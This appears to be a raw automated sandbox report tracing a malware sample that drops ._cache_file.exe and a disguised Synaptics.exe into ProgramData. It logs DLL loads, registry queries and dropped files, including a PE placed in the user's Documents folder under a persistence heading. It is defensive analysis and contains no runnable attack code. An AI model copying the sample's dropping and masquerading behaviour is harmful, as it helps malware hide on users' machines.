Source: C:\Users\user\Desktop\file.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: setupengine.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: sqmapi.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: setupui.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: mfc42u.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: msxml3.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: msftedit.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: uiribbon.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: netprofm.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: npmproxy.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windows.globalization.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: bcp47mrm.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: globinputhost.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dataexchange.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: d3d11.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dcomp.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dxgi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: oleacc.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: atlthunk.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dwmapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: fms.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: dui70.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: duser.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: explorerframe.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: thumbcache.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: assignedaccessruntime.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: linkinfo.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: structuredquery.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windows.storage.search.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: samlib.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: twinapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: networkexplorer.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: ntshrui.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: cscapi.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: mfc42u.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Section loaded: msxml3.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\dU7ZdIR.ini

Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe

Window detected: Number of UI elements: 15

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: file.exe

Static file information: File size 6490624 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x586200

Source:	Binary string: sfxcab.pdb source: file.exe, ._cache_file.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: sqmapi.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, sqmapi.dll.2.dr
Source:	Binary string: SetupEngine.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, SetupEngine.dll.2.dr
Source:	Binary string: patchhooks.pdb source: vc_red.msi.2.dr
Source:	Binary string: Setup.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2623419946.0000000000291000.00000020.00000001.01000000.00000008.sdmp, Setup.exe, 00000004.00000000.1389333890.0000000000291000.00000020.00000001.01000000.00000008.sdmp, Setup.exe.2.dr
Source:	Binary string: SetupUi.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, SetupUi.dll.2.dr
Source:	Binary string: SetupResources.pdb source: SetupResources.dll4.2.dr, SetupResources.dll3.2.dr, SetupResources.dll1.2.dr, SetupResources.dll6.2.dr, SetupResources.dll7.2.dr, SetupResources.dll.2.dr, SetupResources.dll5.2.dr, SetupResources.dll2.2.dr, SetupResources.dll0.2.dr, SetupResources.dll8.2.dr

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_010029C2 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_010029C2

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010065F3 push ecx; ret	2_2_01006603
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_00293DF5 push ecx; ret	4_2_00293E08
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6396AA75 push ecx; ret	4_2_6396AA88
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_63972709 push ecx; ret	4_2_6397271C
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D4821 push ecx; ret	4_2_6C5D4834
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D1B89 push ecx; ret	4_2_6C5D1B9C
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C926F06 push ecx; ret	4_2_6C926F19
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C91E265 push ecx; ret	4_2_6C91E278

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\AFWAAFRXKO\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1031\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\3082\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCX3CE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\2052\SetupResources.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\AFWAAFRXKO\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\sqmapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\SetupEngine.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1036\SetupResources.dll	Jump to dropped file
